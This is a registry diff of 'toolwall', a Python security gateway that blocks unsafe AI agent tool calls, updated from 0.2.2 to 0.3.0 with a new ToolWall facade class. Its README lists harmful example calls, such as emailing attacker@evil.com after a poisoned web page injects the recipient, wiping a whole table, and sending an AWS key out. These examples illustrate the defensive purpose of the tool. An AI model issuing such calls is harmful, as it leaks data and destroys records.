toolwall 0.2.2__tar.gz → 0.3.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {toolwall-0.2.2 → toolwall-0.3.0}/PKG-INFO +47 -28
- {toolwall-0.2.2 → toolwall-0.3.0}/README.md +44 -25
- {toolwall-0.2.2 → toolwall-0.3.0}/pyproject.toml +8 -3
- {toolwall-0.2.2 → toolwall-0.3.0}/src/toolwall/__init__.py +3 -1
- {toolwall-0.2.2 → toolwall-0.3.0}/src/toolwall/gate.py +13 -0
- toolwall-0.3.0/src/toolwall/wall.py +122 -0
- {toolwall-0.2.2 → toolwall-0.3.0}/.gitignore +0 -0
- {toolwall-0.2.2 → toolwall-0.3.0}/LICENSE +0 -0
- {toolwall-0.2.2 → toolwall-0.3.0}/src/toolwall/cli.py +0 -0
- {toolwall-0.2.2 → toolwall-0.3.0}/src/toolwall/intake.py +0 -0
- {toolwall-0.2.2 → toolwall-0.3.0}/src/toolwall/mcp_guard.py +0 -0
- {toolwall-0.2.2 → toolwall-0.3.0}/src/toolwall/meter.py +0 -0
- {toolwall-0.2.2 → toolwall-0.3.0}/src/toolwall/policy.py +0 -0
- {toolwall-0.2.2 → toolwall-0.3.0}/src/toolwall/schema.py +0 -0
- {toolwall-0.2.2 → toolwall-0.3.0}/src/toolwall/shield.py +0 -0
- {toolwall-0.2.2 → toolwall-0.3.0}/src/toolwall/suggest.py +0 -0
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
Metadata-Version: 2.3
|
|
2
2
|
Name: toolwall
|
|
3
|
-
Version: 0.
|
|
4
|
-
Summary:
|
|
3
|
+
Version: 0.3.0
|
|
4
|
+
Summary: Security gateway for AI agent tool calls: fail-closed schema + policy + secret-detection gate before any tool executes
|
|
5
5
|
Project-URL: Homepage, https://github.com/Dev-Saif-Ops/toolwall
|
|
6
6
|
Author: Mohammad Safwan Athar
|
|
7
7
|
License: MIT
|
|
8
|
-
Keywords: agents,ai,guardrails,llm,mcp,security,tool-calling
|
|
8
|
+
Keywords: agent-sandbox,agent-security,agents,ai,ai-agent-security,ai-agents,ai-safety,firewall,guardrails,llm,llm-security,mcp,mcp-firewall,mcp-proxy,mcp-security,prompt-injection,secret-detection,security,tool-call-validation,tool-calling
|
|
9
9
|
Classifier: Development Status :: 3 - Alpha
|
|
10
10
|
Classifier: Intended Audience :: Developers
|
|
11
11
|
Classifier: License :: OSI Approved :: MIT License
|
|
@@ -27,20 +27,20 @@ Description-Content-Type: text/markdown
|
|
|
27
27
|
[](https://github.com/Dev-Saif-Ops/toolwall/blob/main/toolwall/LICENSE)
|
|
28
28
|
[](https://github.com/Dev-Saif-Ops/toolwall)
|
|
29
29
|
|
|
30
|
-
**
|
|
30
|
+
**The security gateway for AI agent tool calls.**
|
|
31
31
|
|
|
32
|
-
|
|
33
|
-
Nothing guarantees they're *allowed*. `toolwall` is the checkpoint that sits between
|
|
34
|
-
the LLM's tool call and execution, and blocks the schema-valid-but-wrong ones.
|
|
32
|
+
Your LLM can generate a *valid* tool call. That doesn't mean it's *safe* to execute.
|
|
35
33
|
|
|
36
34
|
```python
|
|
37
35
|
delete_records(filter={}) # perfectly valid JSON. whole table gone.
|
|
38
36
|
send_email(to="attacker@evil.com") # recipient injected via a poisoned web page
|
|
39
|
-
|
|
37
|
+
transfer_money(amount=999999999) # schema-valid. every field the right type.
|
|
38
|
+
db_query(limit=10_000_000) # production melts.
|
|
40
39
|
```
|
|
41
40
|
|
|
42
|
-
Every one of these passes JSON schema validation.
|
|
43
|
-
them. `toolwall`
|
|
41
|
+
Every one of these passes JSON schema validation. Structured outputs, schemas, and
|
|
42
|
+
content moderation all wave them through. `toolwall` is the fail-closed checkpoint
|
|
43
|
+
between the LLM's tool call and execution that blocks them.
|
|
44
44
|
|
|
45
45
|
---
|
|
46
46
|
|
|
@@ -56,26 +56,45 @@ calling (and plain dicts). Python 3.10+.
|
|
|
56
56
|
## Quickstart
|
|
57
57
|
|
|
58
58
|
```python
|
|
59
|
-
from toolwall import
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
)
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
# result.verdict: ALLOW | BLOCK | NEEDS_APPROVAL. Only ALLOW executes.
|
|
59
|
+
from toolwall import ToolWall, Policy, ToolSchema, in_range, not_empty
|
|
60
|
+
|
|
61
|
+
wall = ToolWall() # default-deny, secret detection + audit on
|
|
62
|
+
|
|
63
|
+
wall.register("db_query", db_query,
|
|
64
|
+
schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
|
|
65
|
+
policy=Policy(constraints={"limit": in_range(1, 100)}))
|
|
66
|
+
wall.register("delete_records", delete_records,
|
|
67
|
+
schema=ToolSchema(required=["filter"], types={"filter": dict}),
|
|
68
|
+
policy=Policy(constraints={"filter": not_empty}, require_approval=True))
|
|
69
|
+
wall.budget(max_calls=20)
|
|
70
|
+
|
|
71
|
+
result = wall.call("delete_records", {"filter": {}})
|
|
72
|
+
# result.blocked -> True
|
|
73
|
+
# result.reason -> "policy violation: arg 'filter' rejected by not_empty"
|
|
74
|
+
|
|
75
|
+
results = wall.guard(openai_response) # or gate a raw OpenAI/Anthropic/Gemini response
|
|
77
76
|
```
|
|
78
77
|
|
|
78
|
+
Only an `ALLOW` verdict runs the tool. `Gate` is the lower-level primitive underneath.
|
|
79
|
+
|
|
80
|
+
## What it stops
|
|
81
|
+
|
|
82
|
+
```python
|
|
83
|
+
wall.call("delete_records", {"filter": {}})
|
|
84
|
+
# BLOCKED: policy violation: arg 'filter' rejected by not_empty
|
|
85
|
+
|
|
86
|
+
wall.call("send_email", {"to": "ops@ourco.com", "body": "aws key AKIA..."})
|
|
87
|
+
# BLOCKED: secret detected (aws-access-key) in arg 'body'
|
|
88
|
+
|
|
89
|
+
wall.call("db_query", {"q": "everything", "limit": 10_000_000})
|
|
90
|
+
# BLOCKED: policy violation: arg 'limit' rejected by in_range(1, 100)
|
|
91
|
+
|
|
92
|
+
wall.call("run_shell", {"cmd": "..."})
|
|
93
|
+
# BLOCKED: unknown tool: 'run_shell'
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
Everything not explicitly allowed is blocked. That is the whole idea.
|
|
97
|
+
|
|
79
98
|
## What it does
|
|
80
99
|
|
|
81
100
|
- **Fail-closed gate**: unknown tool, schema violation, policy violation, budget hit,
|
|
@@ -5,20 +5,20 @@
|
|
|
5
5
|
[](https://github.com/Dev-Saif-Ops/toolwall/blob/main/toolwall/LICENSE)
|
|
6
6
|
[](https://github.com/Dev-Saif-Ops/toolwall)
|
|
7
7
|
|
|
8
|
-
**
|
|
8
|
+
**The security gateway for AI agent tool calls.**
|
|
9
9
|
|
|
10
|
-
|
|
11
|
-
Nothing guarantees they're *allowed*. `toolwall` is the checkpoint that sits between
|
|
12
|
-
the LLM's tool call and execution, and blocks the schema-valid-but-wrong ones.
|
|
10
|
+
Your LLM can generate a *valid* tool call. That doesn't mean it's *safe* to execute.
|
|
13
11
|
|
|
14
12
|
```python
|
|
15
13
|
delete_records(filter={}) # perfectly valid JSON. whole table gone.
|
|
16
14
|
send_email(to="attacker@evil.com") # recipient injected via a poisoned web page
|
|
17
|
-
|
|
15
|
+
transfer_money(amount=999999999) # schema-valid. every field the right type.
|
|
16
|
+
db_query(limit=10_000_000) # production melts.
|
|
18
17
|
```
|
|
19
18
|
|
|
20
|
-
Every one of these passes JSON schema validation.
|
|
21
|
-
them. `toolwall`
|
|
19
|
+
Every one of these passes JSON schema validation. Structured outputs, schemas, and
|
|
20
|
+
content moderation all wave them through. `toolwall` is the fail-closed checkpoint
|
|
21
|
+
between the LLM's tool call and execution that blocks them.
|
|
22
22
|
|
|
23
23
|
---
|
|
24
24
|
|
|
@@ -34,26 +34,45 @@ calling (and plain dicts). Python 3.10+.
|
|
|
34
34
|
## Quickstart
|
|
35
35
|
|
|
36
36
|
```python
|
|
37
|
-
from toolwall import
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
)
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
# result.verdict: ALLOW | BLOCK | NEEDS_APPROVAL. Only ALLOW executes.
|
|
37
|
+
from toolwall import ToolWall, Policy, ToolSchema, in_range, not_empty
|
|
38
|
+
|
|
39
|
+
wall = ToolWall() # default-deny, secret detection + audit on
|
|
40
|
+
|
|
41
|
+
wall.register("db_query", db_query,
|
|
42
|
+
schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
|
|
43
|
+
policy=Policy(constraints={"limit": in_range(1, 100)}))
|
|
44
|
+
wall.register("delete_records", delete_records,
|
|
45
|
+
schema=ToolSchema(required=["filter"], types={"filter": dict}),
|
|
46
|
+
policy=Policy(constraints={"filter": not_empty}, require_approval=True))
|
|
47
|
+
wall.budget(max_calls=20)
|
|
48
|
+
|
|
49
|
+
result = wall.call("delete_records", {"filter": {}})
|
|
50
|
+
# result.blocked -> True
|
|
51
|
+
# result.reason -> "policy violation: arg 'filter' rejected by not_empty"
|
|
52
|
+
|
|
53
|
+
results = wall.guard(openai_response) # or gate a raw OpenAI/Anthropic/Gemini response
|
|
55
54
|
```
|
|
56
55
|
|
|
56
|
+
Only an `ALLOW` verdict runs the tool. `Gate` is the lower-level primitive underneath.
|
|
57
|
+
|
|
58
|
+
## What it stops
|
|
59
|
+
|
|
60
|
+
```python
|
|
61
|
+
wall.call("delete_records", {"filter": {}})
|
|
62
|
+
# BLOCKED: policy violation: arg 'filter' rejected by not_empty
|
|
63
|
+
|
|
64
|
+
wall.call("send_email", {"to": "ops@ourco.com", "body": "aws key AKIA..."})
|
|
65
|
+
# BLOCKED: secret detected (aws-access-key) in arg 'body'
|
|
66
|
+
|
|
67
|
+
wall.call("db_query", {"q": "everything", "limit": 10_000_000})
|
|
68
|
+
# BLOCKED: policy violation: arg 'limit' rejected by in_range(1, 100)
|
|
69
|
+
|
|
70
|
+
wall.call("run_shell", {"cmd": "..."})
|
|
71
|
+
# BLOCKED: unknown tool: 'run_shell'
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
Everything not explicitly allowed is blocked. That is the whole idea.
|
|
75
|
+
|
|
57
76
|
## What it does
|
|
58
77
|
|
|
59
78
|
- **Fail-closed gate**: unknown tool, schema violation, policy violation, budget hit,
|
|
@@ -6,13 +6,18 @@ build-backend = "hatchling.build"
|
|
|
6
6
|
|
|
7
7
|
[project]
|
|
8
8
|
name = "toolwall"
|
|
9
|
-
version = "0.
|
|
10
|
-
description = "
|
|
9
|
+
version = "0.3.0"
|
|
10
|
+
description = "Security gateway for AI agent tool calls: fail-closed schema + policy + secret-detection gate before any tool executes"
|
|
11
11
|
readme = "README.md"
|
|
12
12
|
license = { text = "MIT" }
|
|
13
13
|
requires-python = ">=3.10"
|
|
14
14
|
authors = [{ name = "Mohammad Safwan Athar" }]
|
|
15
|
-
keywords = [
|
|
15
|
+
keywords = [
|
|
16
|
+
"ai", "agents", "ai-agents", "llm", "llm-security", "ai-agent-security",
|
|
17
|
+
"agent-security", "tool-calling", "tool-call-validation", "guardrails",
|
|
18
|
+
"security", "ai-safety", "mcp", "mcp-security", "mcp-firewall", "mcp-proxy",
|
|
19
|
+
"prompt-injection", "secret-detection", "agent-sandbox", "firewall",
|
|
20
|
+
]
|
|
16
21
|
classifiers = [
|
|
17
22
|
"Development Status :: 3 - Alpha",
|
|
18
23
|
"Intended Audience :: Developers",
|
|
@@ -5,6 +5,7 @@ toolwall guarantees they're allowed.
|
|
|
5
5
|
"""
|
|
6
6
|
|
|
7
7
|
from toolwall.gate import Gate, GateResult, ToolRegistry, Verdict
|
|
8
|
+
from toolwall.wall import ToolWall
|
|
8
9
|
from toolwall.intake import IntakeError, ToolCall, parse_tool_calls
|
|
9
10
|
from toolwall.meter import Meter, RunEvent, RunReport, extract_usage
|
|
10
11
|
from toolwall.policy import (
|
|
@@ -22,9 +23,10 @@ from toolwall.shield import Finding, Shield
|
|
|
22
23
|
from toolwall.suggest import suggest_policies
|
|
23
24
|
from toolwall.mcp_guard import GuardedCall, MCPGuard, to_mcp_error
|
|
24
25
|
|
|
25
|
-
__version__ = "0.
|
|
26
|
+
__version__ = "0.3.0"
|
|
26
27
|
|
|
27
28
|
__all__ = [
|
|
29
|
+
"ToolWall",
|
|
28
30
|
"Gate",
|
|
29
31
|
"GateResult",
|
|
30
32
|
"Verdict",
|
|
@@ -91,6 +91,19 @@ class GateResult:
|
|
|
91
91
|
def allowed(self) -> bool:
|
|
92
92
|
return self.verdict is Verdict.ALLOW
|
|
93
93
|
|
|
94
|
+
@property
|
|
95
|
+
def blocked(self) -> bool:
|
|
96
|
+
return self.verdict is Verdict.BLOCK
|
|
97
|
+
|
|
98
|
+
@property
|
|
99
|
+
def needs_approval(self) -> bool:
|
|
100
|
+
return self.verdict is Verdict.NEEDS_APPROVAL
|
|
101
|
+
|
|
102
|
+
@property
|
|
103
|
+
def reason(self) -> str | None:
|
|
104
|
+
"""First human-readable reason for a block/hold, or None when allowed."""
|
|
105
|
+
return self.reasons[0] if self.reasons else None
|
|
106
|
+
|
|
94
107
|
|
|
95
108
|
class Gate:
|
|
96
109
|
"""Fail-closed gate.
|
|
@@ -0,0 +1,122 @@
|
|
|
1
|
+
"""ToolWall: the one-line entry point.
|
|
2
|
+
|
|
3
|
+
`Gate` is the low-level primitive (verdicts, execution split, meter wiring).
|
|
4
|
+
`ToolWall` is the ergonomic facade most users want: it wires a Gate with a
|
|
5
|
+
Shield and a Meter already attached, and gives you `register` + `call`.
|
|
6
|
+
|
|
7
|
+
from toolwall import ToolWall, Policy, ToolSchema, not_empty
|
|
8
|
+
|
|
9
|
+
wall = ToolWall() # default-deny, secret detection + audit on
|
|
10
|
+
wall.register("get_user", get_user, schema=ToolSchema(required=["id"]))
|
|
11
|
+
wall.register("delete_user", delete_user, policy=Policy(require_approval=True))
|
|
12
|
+
|
|
13
|
+
result = wall.call("get_user", {"id": "123"}) # ALLOW -> runs
|
|
14
|
+
result = wall.call("delete_user", {"id": "123"}) # held for approval
|
|
15
|
+
if result.blocked:
|
|
16
|
+
print(result.reason)
|
|
17
|
+
"""
|
|
18
|
+
|
|
19
|
+
from __future__ import annotations
|
|
20
|
+
|
|
21
|
+
from collections.abc import Callable
|
|
22
|
+
from typing import Any
|
|
23
|
+
|
|
24
|
+
from toolwall.gate import ApprovalHandler, DefaultMode, Gate, GateResult
|
|
25
|
+
from toolwall.meter import Meter
|
|
26
|
+
from toolwall.policy import Policy
|
|
27
|
+
from toolwall.schema import ToolSchema
|
|
28
|
+
from toolwall.shield import Shield
|
|
29
|
+
|
|
30
|
+
ToolFn = Callable[..., Any]
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
class ToolWall:
|
|
34
|
+
"""Fail-closed security gateway for AI agent tool calls.
|
|
35
|
+
|
|
36
|
+
Args:
|
|
37
|
+
default: "deny" (registered tools still need a schema) or "allow".
|
|
38
|
+
detect_secrets: attach a Shield. True blocks secrets in tool args;
|
|
39
|
+
pass redact=True to replace them with placeholders instead.
|
|
40
|
+
redact: if detecting secrets, redact instead of block.
|
|
41
|
+
audit: attach a Meter so every verdict is recorded and exportable.
|
|
42
|
+
approval: handler called when a tool needs approval; return True to run.
|
|
43
|
+
"""
|
|
44
|
+
|
|
45
|
+
def __init__(
|
|
46
|
+
self,
|
|
47
|
+
*,
|
|
48
|
+
default: DefaultMode = "deny",
|
|
49
|
+
detect_secrets: bool = True,
|
|
50
|
+
redact: bool = False,
|
|
51
|
+
audit: bool = True,
|
|
52
|
+
approval: ApprovalHandler | None = None,
|
|
53
|
+
):
|
|
54
|
+
shield = Shield(mode="redact" if redact else "block") if detect_secrets else None
|
|
55
|
+
meter = Meter() if audit else None
|
|
56
|
+
self.gate = Gate(default=default, meter=meter, shield=shield, approval=approval)
|
|
57
|
+
|
|
58
|
+
# -- setup (chainable) ---------------------------------------------------
|
|
59
|
+
|
|
60
|
+
def register(
|
|
61
|
+
self,
|
|
62
|
+
name: str,
|
|
63
|
+
fn: ToolFn,
|
|
64
|
+
*,
|
|
65
|
+
schema: ToolSchema | None = None,
|
|
66
|
+
policy: Policy | None = None,
|
|
67
|
+
infer_schema: bool = False,
|
|
68
|
+
) -> "ToolWall":
|
|
69
|
+
self.gate.register(name, fn, schema, policy=policy, infer_schema=infer_schema)
|
|
70
|
+
return self
|
|
71
|
+
|
|
72
|
+
def budget(
|
|
73
|
+
self,
|
|
74
|
+
*,
|
|
75
|
+
max_calls: int | None = None,
|
|
76
|
+
max_calls_per_tool: int | None = None,
|
|
77
|
+
max_usd: float | None = None,
|
|
78
|
+
) -> "ToolWall":
|
|
79
|
+
self.gate.budget(
|
|
80
|
+
max_calls=max_calls, max_calls_per_tool=max_calls_per_tool, max_usd=max_usd
|
|
81
|
+
)
|
|
82
|
+
return self
|
|
83
|
+
|
|
84
|
+
def approve_with(self, handler: ApprovalHandler) -> "ToolWall":
|
|
85
|
+
self.gate.approval = handler
|
|
86
|
+
return self
|
|
87
|
+
|
|
88
|
+
# -- use -----------------------------------------------------------------
|
|
89
|
+
|
|
90
|
+
def call(self, name: str, args: dict[str, Any] | None = None) -> GateResult:
|
|
91
|
+
"""Check the call and execute it only if allowed."""
|
|
92
|
+
return self.gate.run({"name": name, "args": args or {}})
|
|
93
|
+
|
|
94
|
+
def check(self, name: str, args: dict[str, Any] | None = None) -> GateResult:
|
|
95
|
+
"""Return the verdict without executing anything."""
|
|
96
|
+
return self.gate.check({"name": name, "args": args or {}})
|
|
97
|
+
|
|
98
|
+
def guard(self, response: Any) -> list[GateResult]:
|
|
99
|
+
"""Gate a raw LLM response (OpenAI/Anthropic/Gemini), possibly many calls."""
|
|
100
|
+
return self.gate.run_all(response)
|
|
101
|
+
|
|
102
|
+
# -- dry-run + reporting -------------------------------------------------
|
|
103
|
+
|
|
104
|
+
@property
|
|
105
|
+
def dry_run(self) -> bool:
|
|
106
|
+
return self.gate.dry_run
|
|
107
|
+
|
|
108
|
+
@dry_run.setter
|
|
109
|
+
def dry_run(self, value: bool) -> None:
|
|
110
|
+
self.gate.dry_run = value
|
|
111
|
+
|
|
112
|
+
def report(self) -> dict[str, Any]:
|
|
113
|
+
return self.gate.report()
|
|
114
|
+
|
|
115
|
+
def export(self, json_path: str, csv_path: str | None = None) -> dict[str, Any]:
|
|
116
|
+
if self.gate.meter is None:
|
|
117
|
+
raise ValueError("no audit meter attached (ToolWall was built with audit=False)")
|
|
118
|
+
return self.gate.meter.export(json_path, csv_path)
|
|
119
|
+
|
|
120
|
+
@property
|
|
121
|
+
def meter(self) -> Meter | None:
|
|
122
|
+
return self.gate.meter
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|